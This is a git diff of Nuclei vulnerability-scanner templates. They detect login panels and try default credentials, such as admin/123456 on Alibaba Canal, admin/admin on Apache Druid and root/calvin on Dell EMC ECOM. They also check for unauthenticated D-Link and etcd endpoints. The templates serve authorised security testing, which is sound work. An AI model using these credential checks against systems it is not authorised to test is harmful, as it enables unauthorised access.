4a0a00473045022060ca7e028b3cacd5e75c469c3b8df897700ecb1fa9e91f15b05eb6a50d9f2d31022100ab396afa79123b660bb4784387663ed5eb3f9767485f162c73fbe565f1fa8bbe:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/camunda-login-panel.yaml b/poc/auth/camunda-login-panel.yaml index b4a6543207..195e594fc0 100644 --- a/poc/auth/camunda-login-panel.yaml +++ b/poc/auth/camunda-login-panel.yaml @@ -1,13 +1,21 @@ id: camunda-login-panel + info: - name: Camunda Login panel + name: Camunda Login Panel - Detect author: alifathi-h1 severity: info - description: Default Credentials of demo:demo on Camunda application. - reference: https://docs.camunda.org/manual/7.15/webapps/admin/user-management/ + description: Camunda login panel was detected. + reference: + - https://docs.camunda.org/manual/7.15/webapps/admin/user-management/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 2 tags: camunda,panel,login -requests: +http: - method: GET path: - '{{BaseURL}}/app/welcome/default/#!/login' @@ -15,10 +23,10 @@ requests: matchers-condition: and matchers: - - type: word words: - "Camunda Welcome" + - type: status status: - 200 @@ -29,3 +37,5 @@ requests: group: 1 regex: - '<footer cam-widget-footer version="v([0-9.]+)"' + +# digest: 4a0a0047304502207ef42c23963a71cf4de37d0255bddb6aead510aca38b0e2bb945d0a516f2d2a0022100cb8eef1330d2c88ce1f616622560f0c5741b82930d0a5f8eb24b4fafa01084f6:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/canal-default-login-846.yaml b/poc/auth/canal-default-login-846.yaml deleted file mode 100644 index 6a73132d6f..0000000000 --- a/poc/auth/canal-default-login-846.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: canal-default-login - -info: - name: Alibaba Canal Default Login - author: pdteam - description: An Alibaba Canal default login was discovered. - severity: high - reference: - - https://github.com/alibaba/canal/wiki/ClientAdapter - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: alibaba,default-login - -requests: - - raw: - - | - POST /api/v1/user/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"username":"{{user}}","password":"{{pass}}"} - - attack: pitchfork - payloads: - user: - - admin - pass: - - 123456 - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - condition: and - words: - - 'data":{"token"' - - '"code":20000' - -# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/canal-default-login-849.yaml b/poc/auth/canal-default-login-849.yaml new file mode 100644 index 0000000000..a4c4a1b801 --- /dev/null +++ b/poc/auth/canal-default-login-849.yaml @@ -0,0 +1,35 @@ +id: canal-default-login + +info: + name: Alibaba Canal Default Login + author: pdteam + severity: high + tags: alibaba,default-login + +requests: + - raw: + - | + POST /api/v1/user/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"username":"{{user}}","password":"{{pass}}"} + + attack: pitchfork + payloads: + user: + - admin + pass: + - 123456 + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + condition: and + words: + - 'data":{"token"' + - '"code":20000' diff --git a/poc/auth/canal-default-login.yaml b/poc/auth/canal-default-login.yaml index a4c4a1b801..6a73132d6f 100644 --- a/poc/auth/canal-default-login.yaml +++ b/poc/auth/canal-default-login.yaml @@ -3,7 +3,14 @@ id: canal-default-login info: name: Alibaba Canal Default Login author: pdteam + description: An Alibaba Canal default login was discovered. severity: high + reference: + - https://github.com/alibaba/canal/wiki/ClientAdapter + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: alibaba,default-login requests: @@ -33,3 +40,5 @@ requests: words: - 'data":{"token"' - '"code":20000' + +# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/chinaunicom-default-login-906.yaml b/poc/auth/chinaunicom-default-login-906.yaml deleted file mode 100644 index 264ffd5f07..0000000000 --- a/poc/auth/chinaunicom-default-login-906.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: chinaunicom-default-login - -info: - name: China Unicom Modem Default Login - author: princechaddha - severity: high - description: Default login credentials were discovered for a China Unicom modem. - tags: chinaunicom,default-login - classification: - cwe-id: CWE-798 - -requests: - - raw: - - | - POST /cu.html HTTP/1.1 - Host: {{Hostname}} - - frashnum=&action=login&Frm_Logintoken=1&Username={{username}}&Password={{password}}&Username=&Password= - - attack: pitchfork - payloads: - username: - - CUAdmin - password: - - CUAdmin - - matchers-condition: and - matchers: - - type: status - status: - - 302 - - - type: word - words: - - "/menu.gch" - part: header - -# Enhanced by mp on 2022/03/03 diff --git a/poc/auth/chinaunicom-default-login.yaml b/poc/auth/chinaunicom-default-login-909.yaml similarity index 100% rename from poc/auth/chinaunicom-default-login.yaml rename to poc/auth/chinaunicom-default-login-909.yaml diff --git a/poc/auth/chinaunicom-modem-default-credentials.yaml b/poc/auth/chinaunicom-modem-default-credentials.yaml index 9498a9b6f9..ed58f2f847 100644 --- a/poc/auth/chinaunicom-modem-default-credentials.yaml +++ b/poc/auth/chinaunicom-modem-default-credentials.yaml @@ -1,9 +1,11 @@ id: chinaunicom-modem-default-credentials + info: name: Chinaunicom Modem Default Credentials author: princechaddha severity: high tags: chinaunicom,default-login + requests: - method: POST path: diff --git a/poc/auth/cisco-finesse-login-938.yaml b/poc/auth/cisco-finesse-login-938.yaml deleted file mode 100644 index 0944959e91..0000000000 --- a/poc/auth/cisco-finesse-login-938.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: cisco-finesse-login - -info: - name: Cisco Finesse Login - author: dhiyaneshDK - severity: info - reference: https://www.exploit-db.com/ghdb/6824 - tags: panel,cisco - -requests: - - method: GET - path: - - '{{BaseURL}}/desktop/container/landing.jsp?locale=en_US' - - matchers-condition: and - matchers: - - type: word - words: - - '<title id="page_title">Sign in to Cisco Finesse' - - type: status - status: - - 200 diff --git a/poc/auth/cisco-finesse-login-940.yaml b/poc/auth/cisco-finesse-login-940.yaml new file mode 100644 index 0000000000..ad8938564b --- /dev/null +++ b/poc/auth/cisco-finesse-login-940.yaml @@ -0,0 +1,23 @@ +id: cisco-finesse-login + +info: + name: Cisco Finesse Login + author: dhiyaneshDK + severity: info + reference: + - https://www.exploit-db.com/ghdb/6824 + tags: panel,cisco + +requests: + - method: GET + path: + - '{{BaseURL}}/desktop/container/landing.jsp?locale=en_US' + + matchers-condition: and + matchers: + - type: word + words: + - 'Sign in to Cisco Finesse' + - type: status + status: + - 200 diff --git a/poc/auth/cisco-finesse-login.yaml b/poc/auth/cisco-finesse-login.yaml index e5ad7f4630..0944959e91 100644 --- a/poc/auth/cisco-finesse-login.yaml +++ b/poc/auth/cisco-finesse-login.yaml @@ -1,21 +1,13 @@ id: cisco-finesse-login info: - name: Cisco Finesse Login Panel - Detect + name: Cisco Finesse Login author: dhiyaneshDK severity: info - description: Cisco Finesse login panel was detected. - reference: - - https://www.exploit-db.com/ghdb/6824 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 1 - tags: panel,cisco,edb + reference: https://www.exploit-db.com/ghdb/6824 + tags: panel,cisco -http: +requests: - method: GET path: - '{{BaseURL}}/desktop/container/landing.jsp?locale=en_US' @@ -25,9 +17,6 @@ http: - type: word words: - 'Sign in to Cisco Finesse' - - type: status status: - 200 - -# digest: 4a0a004730450221008b8f86faa0d4a645d7b1a8cac9fef657dde8d6fbbd3cc03c503e63fc69bcb40d02204f63813c4ca9bd3f8e2347d28d3b7d0d0352f3c06e3017dc5fffb55a8f09e00a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/cisco-integrated-login-941.yaml b/poc/auth/cisco-integrated-login-941.yaml index 0804d5a189..5f716a0018 100644 --- a/poc/auth/cisco-integrated-login-941.yaml +++ b/poc/auth/cisco-integrated-login-941.yaml @@ -4,7 +4,8 @@ info: name: Cisco Integrated Management Controller Login author: dhiyaneshDK severity: info - reference: https://www.exploit-db.com/ghdb/3859 + reference: + - https://www.exploit-db.com/ghdb/3859 tags: panel,cisco requests: diff --git a/poc/auth/cisco-integrated-login.yaml b/poc/auth/cisco-integrated-login.yaml index 5f716a0018..59fb586d49 100644 --- a/poc/auth/cisco-integrated-login.yaml +++ b/poc/auth/cisco-integrated-login.yaml @@ -1,14 +1,21 @@ id: cisco-integrated-login info: - name: Cisco Integrated Management Controller Login + name: Cisco Integrated Management Controller Login Panel - Detect author: dhiyaneshDK severity: info + description: Cisco Integrated Management Controller login panel was detected. reference: - https://www.exploit-db.com/ghdb/3859 - tags: panel,cisco + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: panel,cisco,edb -requests: +http: - method: GET path: - '{{BaseURL}}/login.html' @@ -18,6 +25,9 @@ requests: - type: word words: - 'Cisco Integrated Management Controller Login' + - type: status status: - 200 + +# digest: 4a0a00473045022076bbb5cc9aebdd1a789abd7e970a2187bcf589de8464d337ba0a4818246c9c24022100890225c79b44f69d3b79c0b9517745ecd509034a04ca04418cd91621fa93a5f9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/cisco-systems-login-973.yaml b/poc/auth/cisco-systems-login-973.yaml deleted file mode 100644 index 25607b3bbf..0000000000 --- a/poc/auth/cisco-systems-login-973.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: cisco-systems-login - -info: - name: Cisco Systems Login - author: dhiyaneshDk - severity: info - tags: panel,cisco - metadata: - shodan-query: 'http.title:"Cisco Systems Login"' - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Cisco Systems Login" - - - type: status - status: - - 200 diff --git a/poc/auth/cisco-systems-login-975.yaml b/poc/auth/cisco-systems-login-975.yaml new file mode 100644 index 0000000000..96ae7b9ee4 --- /dev/null +++ b/poc/auth/cisco-systems-login-975.yaml @@ -0,0 +1,32 @@ +id: cisco-systems-login + +info: + name: Cisco Systems Login + author: dhiyaneshDk,idealphase + severity: info + metadata: + shodan-query: http.title:"Cisco Systems Login" + google-query: intitle:"Cisco Systems Login" + tags: panel,cisco + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Cisco Systems Login" + + - type: status + status: + - 200 + + extractors: + - type: regex + group: 1 + regex: + - ' : DIR-850L' - - '"Hardware Version"' - - '"Firmware Version"' - condition: and \ No newline at end of file + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/auth/directadmin-login-panel-7000.yaml b/poc/auth/directadmin-login-panel-7000.yaml deleted file mode 100644 index 8a4cabe2fa..0000000000 --- a/poc/auth/directadmin-login-panel-7000.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: directadmin-login-panel - -info: - name: DirectAdmin Login Panel Detect - author: idealphase - severity: info - description: A modern control panel's primary purpose is to effectively facilitate the routine management of your hosting infrastructure and present these tasks simply and intuitively to both the user and to you as the administrator. - reference: https://www.directadmin.com/whats_new.php - metadata: - shodan-query: title:"DirectAdmin Login" - tags: panel,directadmin - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - words: - - "DirectAdmin Login" - - - type: status - status: - - 200 diff --git a/poc/auth/directadmin-login-panel-7001.yaml b/poc/auth/directadmin-login-panel-7001.yaml new file mode 100644 index 0000000000..054bcf4eb0 --- /dev/null +++ b/poc/auth/directadmin-login-panel-7001.yaml @@ -0,0 +1,27 @@ +id: directadmin-login-panel + +info: + name: DirectAdmin Login Panel Detect + author: idealphase + severity: info + description: A modern control panel's primary purpose is to effectively facilitate the routine management of your hosting infrastructure and present these tasks simply and intuitively to both the user and to you as the administrator. + reference: + - https://www.directadmin.com/whats_new.php + metadata: + shodan-query: title:"DirectAdmin Login" + tags: panel,directadmin + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + words: + - "DirectAdmin Login" + + - type: status + status: + - 200 diff --git a/poc/auth/dlink-unauth-cgi-script.yaml b/poc/auth/dlink-unauth-cgi-script.yaml new file mode 100644 index 0000000000..adb7b7392c --- /dev/null +++ b/poc/auth/dlink-unauth-cgi-script.yaml @@ -0,0 +1,33 @@ +id: dlink-unauth-cgi-script + +info: + name: D-Link DNS Series CGI Script - Unauthenticated + author: pussycat0x + severity: low + description: | + A vulnerability has been identified in the D-Link DNS series network storage devices, allowing for the exposure of sensitive device information to unauthorized actors. This vulnerability is due to an unauthenticated access flaw in the info.cgi script, which can be exploited via a simple HTTP GET request, affecting over 920,000 devices on the Internet. + reference: + - https://github.com/netsecfish/info_cgi + metadata: + verified: true + fofa-query: app="D_Link-DNS" + tags: unauth,dlink,misconfig + +http: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/info.cgi" + + matchers-condition: and + matchers: + - type: word + words: + - "Product=" + - "Version=" + - "Model=" + condition: and + + - type: status + status: + - 200 +# digest: 4a0a00473045022013515fb6fecbf582bff3d7ebc011f605fdc4f78489410dd60b20aaaf5897738f022100bbeb97639070b484f197a35e44238f2da97d55612eb229b094ecacf589e20ec7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/druid-default-login-7096.yaml b/poc/auth/druid-default-login-7096.yaml index 78d252b867..1a787c7ba6 100644 --- a/poc/auth/druid-default-login-7096.yaml +++ b/poc/auth/druid-default-login-7096.yaml @@ -1,11 +1,12 @@ id: druid-default-login - info: - name: Druid Default Login + name: Apache Druid Default Login author: pikpikcu severity: high + description: Apache Druid default login information (admin/admin) was discovered. + classification: + cwe-id: CWE-798 tags: druid,default-login - requests: - raw: - | @@ -13,27 +14,24 @@ requests: Host: {{Hostname}} loginUsername={{username}}&loginPassword={{password}} - - | POST /submitLogin HTTP/1.1 Host: {{Hostname}} loginUsername={{username}}&loginPassword={{password}} - payloads: username: - admin password: - admin attack: pitchfork - matchers-condition: and matchers: - - type: status status: - 200 - - type: regex regex: - - "^success$" \ No newline at end of file + - "^success$" + +# Enhanced by mp on 2022/03/03 diff --git a/poc/auth/druid-default-login-7097.yaml b/poc/auth/druid-default-login-7097.yaml deleted file mode 100644 index 09a1411cb8..0000000000 --- a/poc/auth/druid-default-login-7097.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: druid-default-login -info: - name: Druid Default Login - author: pikpikcu - severity: high - tags: druid,default-login -requests: - - raw: - - | - POST /druid/submitLogin HTTP/1.1 - Host: {{Hostname}} - - loginUsername={{username}}&loginPassword={{password}} - - | - POST /submitLogin HTTP/1.1 - Host: {{Hostname}} - - loginUsername={{username}}&loginPassword={{password}} - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "^success$" diff --git a/poc/auth/dubbo-admin-default-login-7121.yaml b/poc/auth/dubbo-admin-default-login-7121.yaml new file mode 100644 index 0000000000..f5f6605a54 --- /dev/null +++ b/poc/auth/dubbo-admin-default-login-7121.yaml @@ -0,0 +1,34 @@ +id: dubbo-admin-default-login +info: + name: Dubbo Admin Default Login + author: ritikchaddha + severity: high + reference: + - https://www.cnblogs.com/wishwzp/p/9438658.html + tags: dubbo,apache,default-login +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Authorization: Basic {{base64(username + ':' + password)}} + attack: pitchfork + payloads: + username: + - guest + - root + password: + - guest + - root + matchers-condition: and + matchers: + - type: word + words: + - "Dubbo Admin" + - "/sysinfo/versions" + - "{{username}}', '/logout')" + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/dubbo-admin-default-login-7120.yaml b/poc/auth/dubbo-admin-default-login.yaml similarity index 100% rename from poc/auth/dubbo-admin-default-login-7120.yaml rename to poc/auth/dubbo-admin-default-login.yaml diff --git a/poc/auth/dvwa-default-login-7128.yaml b/poc/auth/dvwa-default-login-7128.yaml index 4008e442a2..5b405b8bd5 100644 --- a/poc/auth/dvwa-default-login-7128.yaml +++ b/poc/auth/dvwa-default-login-7128.yaml @@ -1,19 +1,10 @@ id: dvwa-default-login - info: name: DVWA Default Login author: pdteam severity: critical - description: Damn Vulnerable Web App (DVWA) is a test application for security professionals. The hard coded credentials are part of a security testing scenario. - reference: - - https://opensourcelibs.com/lib/dvwa - classification: - cwe-id: CWE-798 - metadata: - max-request: 2 tags: dvwa,default-login - -http: +requests: - raw: - | GET /login.php HTTP/1.1 @@ -27,15 +18,7 @@ http: Cookie: PHPSESSID={{session}}; security=low Connection: close - username={{username}}&password={{password}}&Login=Login&user_token={{token}} - - payloads: - username: - - admin - password: - - password - attack: pitchfork - + username=admin&password=password&Login=Login&user_token={{token}} extractors: - type: regex name: token @@ -44,17 +27,14 @@ http: part: body regex: - "hidden' name='user_token' value='([0-9a-z]+)'" - - type: kval name: session internal: true part: body kval: - PHPSESSID - host-redirects: true + redirects: true matchers: - type: word words: - "You have logged in as 'admin'" - -# digest: 490a00463044022045f5835991e9296cd7ed9bdca15bba2bb5a2c5f7f36071fa10441e2b91eddb5102205eb559de4798a34aa57c1816eef56160104d0ed92ce27f1a122ab3db664fddca:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/dvwa-default-login-7129.yaml b/poc/auth/dvwa-default-login-7129.yaml deleted file mode 100644 index eb0669859d..0000000000 --- a/poc/auth/dvwa-default-login-7129.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: dvwa-default-login -info: - name: DVWA Default Login - author: pdteam - severity: critical - tags: dvwa,default-login -requests: - - raw: - - | - GET /login.php HTTP/1.1 - Host: {{Hostname}} - Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 - Connection: close - - | - POST /login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Cookie: PHPSESSID={{session}}; security=low - Connection: close - - username={{username}}&password={{password}}&Login=Login&user_token={{token}} - payloads: - username: - - admin - password: - - password - attack: pitchfork - extractors: - - type: regex - name: token - group: 1 - internal: true - part: body - regex: - - "hidden' name='user_token' value='([0-9a-z]+)'" - - type: kval - name: session - internal: true - part: body - kval: - - PHPSESSID - redirects: true - matchers: - - type: word - words: - - "You have logged in as 'admin'" diff --git a/poc/auth/dvwa-headless-automatic-login-7131.yaml b/poc/auth/dvwa-headless-automatic-login-7130.yaml similarity index 100% rename from poc/auth/dvwa-headless-automatic-login-7131.yaml rename to poc/auth/dvwa-headless-automatic-login-7130.yaml diff --git a/poc/auth/dvwa-headless-automatic-login-7133.yaml b/poc/auth/dvwa-headless-automatic-login-7133.yaml index bd48c62f5e..a2e8ccd0c2 100644 --- a/poc/auth/dvwa-headless-automatic-login-7133.yaml +++ b/poc/auth/dvwa-headless-automatic-login-7133.yaml @@ -1,11 +1,9 @@ id: dvwa-headless-automatic-login - info: name: DVWA Headless Automatic Login author: pdteam severity: high tags: headless,dvwa - headless: - steps: - args: @@ -37,15 +35,8 @@ headless: xpath: /html/body/div/div[2]/form/fieldset/p/input action: click - action: waitload - - matchers-condition: or matchers: - part: resp type: word words: - "You have logged in as" - - - part: resp - type: word - words: - - "First time using DVWA" diff --git a/poc/auth/dynatrace-token-7145.yaml b/poc/auth/dynatrace-token-7145.yaml index 3fe0f4cf8f..3ad533dd3f 100644 --- a/poc/auth/dynatrace-token-7145.yaml +++ b/poc/auth/dynatrace-token-7145.yaml @@ -1,13 +1,16 @@ id: dynatrace-token + info: name: Dynatrace Token author: gaurang severity: high tags: token,file + file: - extensions: - all + extractors: - type: regex regex: - - "dt0[a-zA-Z]{1}[0-9]{2}\\.[A-Z0-9]{24}\\.[A-Z0-9]{64}" + - "dt0[a-zA-Z]{1}[0-9]{2}\\.[A-Z0-9]{24}\\.[A-Z0-9]{64}" \ No newline at end of file diff --git a/poc/auth/dynatrace-token.yaml b/poc/auth/dynatrace-token.yaml index 3ad533dd3f..d795c227d0 100644 --- a/poc/auth/dynatrace-token.yaml +++ b/poc/auth/dynatrace-token.yaml @@ -1,11 +1,15 @@ id: dynatrace-token info: - name: Dynatrace Token + name: Dynatrace Token - Detect author: gaurang severity: high + description: Dynatrace token was detected. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-200 tags: token,file - file: - extensions: - all @@ -13,4 +17,7 @@ file: extractors: - type: regex regex: - - "dt0[a-zA-Z]{1}[0-9]{2}\\.[A-Z0-9]{24}\\.[A-Z0-9]{64}" \ No newline at end of file + - "dt0[a-zA-Z]{1}[0-9]{2}\\.[A-Z0-9]{24}\\.[A-Z0-9]{64}" + +# Enhanced by md on 2023/05/04 +# digest: 4b0a00483046022100c174b97b5872754d6ef09bf07cf91d3e04546e4f32bcb15a0bfeaf6b8b5200a2022100c89a70958e16a0a7a9491f9c428e390fbc7254a52658880fc073360df1658144:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/emcecom-default-login-7211.yaml b/poc/auth/emcecom-default-login-7211.yaml new file mode 100644 index 0000000000..1ad75f5e1f --- /dev/null +++ b/poc/auth/emcecom-default-login-7211.yaml @@ -0,0 +1,43 @@ +id: dell-emc-ecom-default-login + +info: + name: Dell EMC ECOM Default Login + author: Techryptic (@Tech) + severity: high + description: Dell EMC ECOM default login information "(admin:#1Password)" was discovered. + remediation: To resolve this issue, perform a "remsys" and "addsys" with no other operations occurring (reference the appropriate SMI-S provider documentation) and specify the new password when re-adding the array. If there are issues performing the "addsys" operation, it is recommended to restart the management server on each SP. + reference: https://www.dell.com/support/kbdoc/en-za/000171270/vipr-controller-operation-denied-by-clariion-array-you-are-not-privileged-to-perform-the-requested-operation + tags: dell,emc,ecom,default-login + classification: + cwe-id: CWE-798 + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + payloads: + username: + - root + password: + - calvin + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "Set-Cookie: ECOMSecurity" + part: header + + - type: word + words: + - "Welcome to ECOM" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/03 diff --git a/poc/auth/emcecom-default-login-7214.yaml b/poc/auth/emcecom-default-login-7214.yaml index c2ae6580d0..199ac75ebe 100644 --- a/poc/auth/emcecom-default-login-7214.yaml +++ b/poc/auth/emcecom-default-login-7214.yaml @@ -4,12 +4,11 @@ info: author: Techryptic (@Tech) severity: high description: Dell EMC ECOM default login information "(admin:#1Password)" was discovered. - reference: - - https://www.dell.com/support/kbdoc/en-za/000171270/vipr-controller-operation-denied-by-clariion-array-you-are-not-privileged-to-perform-the-requested-operation - classification: - cwe-id: CWE-798 remediation: To resolve this issue, perform a "remsys" and "addsys" with no other operations occurring (reference the appropriate SMI-S provider documentation) and specify the new password when re-adding the array. If there are issues performing the "addsys" operation, it is recommended to restart the management server on each SP. + reference: https://www.dell.com/support/kbdoc/en-za/000171270/vipr-controller-operation-denied-by-clariion-array-you-are-not-privileged-to-perform-the-requested-operation tags: dell,emc,ecom,default-login + classification: + cwe-id: CWE-798 requests: - raw: - | diff --git a/poc/auth/emqx-default-login-7221.yaml b/poc/auth/emqx-default-login-7221.yaml new file mode 100644 index 0000000000..b1ed01d3ba --- /dev/null +++ b/poc/auth/emqx-default-login-7221.yaml @@ -0,0 +1,39 @@ +id: emqx-default-login + +info: + name: Emqx Default Admin Login + author: For3stCo1d + severity: high + description: Emqx default admin credentials were discovered. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + shodan-query: http.favicon.hash:"-670975485" + tags: emqx,default-login + +http: + - raw: + - | + POST /api/v4/auth HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + {"username":"{{user}}","password":"{{pass}}"} + + attack: pitchfork + payloads: + user: + - admin + pass: + - public + matchers: + - type: dsl + dsl: + - body == "{\"code\":0}" + - status_code == 200 + condition: and + +# digest: 490a00463044022067a7a08f872aa1f62f87f108d972c676355070d8b86f894d700f0572112c906c022019e869488e8a654f286b8c2c31915c948525b5bcdeadd817534ffad8e6e67734:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/ems-login-panel-7223.yaml b/poc/auth/ems-login-panel-7223.yaml index 85879462c6..a829cccc20 100644 --- a/poc/auth/ems-login-panel-7223.yaml +++ b/poc/auth/ems-login-panel-7223.yaml @@ -1,22 +1,18 @@ id: ems-login-panel - info: name: EMS Login page detection author: __Fazal severity: info - tags: panel,ems - + tags: panel,ems,login requests: - method: GET path: - '{{BaseURL}}/EMSWebClient/Login.aspx' - matchers-condition: and matchers: - type: status status: - 200 - - type: word words: - "EMS Web Client - Login" diff --git a/poc/auth/ems-login-panel-7225.yaml b/poc/auth/ems-login-panel-7225.yaml new file mode 100644 index 0000000000..d21d135a2b --- /dev/null +++ b/poc/auth/ems-login-panel-7225.yaml @@ -0,0 +1,22 @@ +id: ems-login-panel + +info: + name: EMS Login page detection + author: __Fazal + severity: info + tags: panel,ems,login + +requests: + - method: GET + path: + - '{{BaseURL}}/EMSWebClient/Login.aspx' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "EMS Web Client - Login" diff --git a/poc/auth/epmp-login-7230.yaml b/poc/auth/epmp-login-7230.yaml index ec48e002aa..81247ccfe9 100644 --- a/poc/auth/epmp-login-7230.yaml +++ b/poc/auth/epmp-login-7230.yaml @@ -1,12 +1,10 @@ id: epmp-login - info: name: ePMP 2000 Login author: dhiyaneshDk severity: info reference: https://www.exploit-db.com/ghdb/6826 - tags: iot - + tags: iot,panel requests: - method: GET path: diff --git a/poc/auth/epmp-login-7232.yaml b/poc/auth/epmp-login-7232.yaml deleted file mode 100644 index 81247ccfe9..0000000000 --- a/poc/auth/epmp-login-7232.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: epmp-login -info: - name: ePMP 2000 Login - author: dhiyaneshDk - severity: info - reference: https://www.exploit-db.com/ghdb/6826 - tags: iot,panel -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: and - matchers: - - type: word - words: - - 'ePMP' - part: body - - type: status - status: - - 200 diff --git a/poc/auth/etcd-keys-7262.yaml b/poc/auth/etcd-keys-7262.yaml index b28510d4e7..f96e70795c 100644 --- a/poc/auth/etcd-keys-7262.yaml +++ b/poc/auth/etcd-keys-7262.yaml @@ -1,26 +1,22 @@ id: etcd-keys - info: name: Etcd Keys author: sharath severity: info description: Scans for etcd keys tags: tech,k8s,kubernetes,devops,etcd - requests: - method: GET path: - "{{BaseURL}}/v2/keys/" - matchers-condition: and matchers: - type: status status: - 200 - - type: word part: body words: - '"node":' - '"key":' - condition: and \ No newline at end of file + condition: and diff --git a/poc/auth/etcd-keys.yaml b/poc/auth/etcd-keys.yaml index f96e70795c..b28510d4e7 100644 --- a/poc/auth/etcd-keys.yaml +++ b/poc/auth/etcd-keys.yaml @@ -1,22 +1,26 @@ id: etcd-keys + info: name: Etcd Keys author: sharath severity: info description: Scans for etcd keys tags: tech,k8s,kubernetes,devops,etcd + requests: - method: GET path: - "{{BaseURL}}/v2/keys/" + matchers-condition: and matchers: - type: status status: - 200 + - type: word part: body words: - '"node":' - '"key":' - condition: and + condition: and \ No newline at end of file diff --git a/poc/auth/etcd-unauthenticated-api.yaml b/poc/auth/etcd-unauthenticated-api.yaml index bec8776583..b41d5c896c 100644 --- a/poc/auth/etcd-unauthenticated-api.yaml +++ b/poc/auth/etcd-unauthenticated-api.yaml @@ -4,27 +4,37 @@ info: name: etcd Unauthenticated HTTP API Leak author: dhiyaneshDk severity: high - reference: https://hackerone.com/reports/1088429 - tags: unauth + reference: + - https://hackerone.com/reports/1088429 + metadata: + max-request: 1 + tags: misconfig,hackerone,unauth,etcd -requests: +http: - method: GET path: - "{{BaseURL}}/v2/auth/roles" + matchers-condition: and matchers: - type: word + part: body words: - '"roles"' - '"permissions"' - '"role"' - '"kv"' condition: and - part: body - - type: status - status: - - 200 + - type: word part: header words: - "text/plain" + - "application/json" + condition: or + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100897d3dde5e9a2dfd0ab7d17ab781c555d44ad28bc754236ec6bf33a7ec4c0d7c022100f5ba5418fa82fa65ff1d95bedc9dffea5b1861016c575cc71e7898fbd6c8a3ea:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/exposed-authentication-asmx-7287.yaml b/poc/auth/exposed-authentication-asmx-7287.yaml index 768f731057..7244bb7791 100644 --- a/poc/auth/exposed-authentication-asmx-7287.yaml +++ b/poc/auth/exposed-authentication-asmx-7287.yaml @@ -1,13 +1,21 @@ id: exposed-authentication-asmx info: - name: Exposed Authentication.asmx + name: Authentication.asmx - Detect author: DhiyaneshDk - severity: low - reference: https://www.exploit-db.com/ghdb/6604 - tags: config,exposure + severity: info + description: Authentication Web Service authentication.asmx file was detected. + reference: + - https://www.exploit-db.com/ghdb/6604 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: config,exposure,edb -requests: +http: - method: GET path: - "{{BaseURL}}/_vti_bin/Authentication.asmx?op=Mode" @@ -22,3 +30,5 @@ requests: - type: status status: - 200 + +# digest: 